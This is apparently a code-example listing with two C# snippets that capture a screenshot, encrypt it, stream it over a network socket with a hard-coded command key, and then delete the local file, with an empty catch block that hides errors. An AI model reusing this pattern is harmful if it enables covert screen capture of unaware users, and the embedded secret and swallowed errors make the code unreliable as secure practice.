示例#1
0
        private void button1_Click(object sender, System.Windows.RoutedEventArgs e)
        {
            string file = screenshot();

            encryptionClass.EncryptFile(file);
            encryptionClass.DecryptFile(file);
        }
示例#2
0
        public void sendPhoto(string fromWhere)
        {
            encryptionClass.EncryptFile(fromWhere);
            byte[] SendingBuffer = null;
            networkStream = client.GetStream();
            int BufferSize = 1024;

            canMeasureSpeed = true;
            Thread transfSpeed = new Thread(transferSpeed);

            transfSpeed.Start();
            try
            {
                using (FileStream fs = File.Open(fromWhere, FileMode.Open, FileAccess.Read, FileShare.None)) {
                    int NoOfPackets = Convert.ToInt32(Math.Ceiling(Convert.ToDouble(fs.Length) / Convert.ToDouble(BufferSize)));
                    int TotalLenght = (int)fs.Length, CurrentPacketLengh = 0;
                    sendCommand("scrsht" + fs.Length.ToString(), "c0mm@nds t0 r3c3iv3 %!4");
                    for (int i = 0; i < NoOfPackets; i++)
                    {
                        if (TotalLenght > BufferSize)
                        {
                            CurrentPacketLengh = BufferSize;
                            TotalLenght        = TotalLenght - CurrentPacketLengh;
                        }
                        else
                        {
                            CurrentPacketLengh = TotalLenght;
                        }
                        SendingBuffer = new byte[CurrentPacketLengh];
                        fs.Read(SendingBuffer, 0, CurrentPacketLengh);
                        bytesPerSecond += CurrentPacketLengh;
                        networkStream.Write(SendingBuffer, 0, (int)SendingBuffer.Length);
                    }
                }
            }
            catch (Exception)
            {
            }
            canMeasureSpeed = false;
            File.Delete(fromWhere);
        }